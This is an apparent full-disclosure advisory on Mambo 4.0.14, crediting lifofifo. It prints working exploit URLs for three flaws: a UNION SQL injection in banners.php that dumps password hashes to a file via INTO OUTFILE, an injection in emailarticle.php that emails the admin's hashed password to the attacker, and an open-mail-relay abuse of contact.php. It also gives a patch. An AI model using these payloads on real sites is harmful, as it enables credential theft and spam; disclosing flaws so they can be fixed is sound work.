<<< Date Index >>>     <<< Thread Index >>>

Several Mambo 4.0.14 Stable Exploits




Product : Mambo 4.0.14 Stable
Website : http://www.mamboserver.com/
Status : Vendor notified via email
Imapct : Search for "Mambo Open Source is Free Software released under the 
GNU/GPL License." (with quotes) returned more than 500 results.
Credit : lifofifo, hackingzone.org
Originally posted at : http://www.hackingzone.org

First of all, you will get a bunch of error when you try to open banners.php 
without any arguments. This does reveal some vital information like path on the 
server. This information is very important when using "into outfile" feature of 
MySQL.

Now,

* First Exploit

http://localhost/mambo/banners.php?op=click&bid=100 UNION select password from 
mos_users where 1=1 into outfile 'c:/apache2/htdocs/mos.txt'

Here it's required that magic_quotes_gpc is turned off. And MySQL 4.x is 
running. Because older versions don't support UNION function.

There are other cases of SQL Injection there. But they won't be a trouble if 
you have magic_quotes_gpc turned on. 

* Second Exploit

This one will work in all the cases. No matter 
magic_quotes_gpc/register_globals are on/off. The bug is in 
"emailfriend/emailarticle.php" file. In this file, the variable $id is not 
checked. Therefore, it is possibgle to get the md5() password emailed to you. 
Check the following,

http://localhost/mambo/emailfriend/emailarticle.php?submit=submit&email=lifofifo@xxxxxxxxxxxxxxx&youremail=webmaster@xxxxxxxxxxxxxxx&id=100
 UNION select username,email,password from mos_users where id=1

In this case, username, md5() hashed password and email address of user with id 
1 will get deliverd to lifofifo@xxxxxxxxxxxxxxxx

Note : The server needs to using MySQL 4.x

Fix : Add the follwing lines on the top of the "emailfriend/emailarticle.php" 
script.
----
if(!is_numeric($id))
        die("Hacking Attempt");
----

Note : Same patch should also be applied to "emailfriend/emailfaq.php"

* Third Exploit : Anonymous Emailer

In contact.php file, there is a function call like "sendmail($text, $from, 
$name, $email_to, $sitename);". You can pass variables from the url. So if you 
open it like,

http://localhost/mambo/contact.php?op=sendmail&text=this is 
spam&from=none&name=Admin&email_to=lifofifo@xxxxxxxxxxxxxxx&sitename=hackingzone.org

It will send email to lifofifo@xxxxxxxxxxxxxxx from "None".

And this is really enough to give your site a bad name. One can spam from YOUR 
own site. Becase IP of the email sender and IP of your site will be same and 
therefor the integrity of the message won't be a doubt.

This will also work irrespective of magic_quotes_gpc and register_globals.

-lifofifo
http://www.hackingzone.org/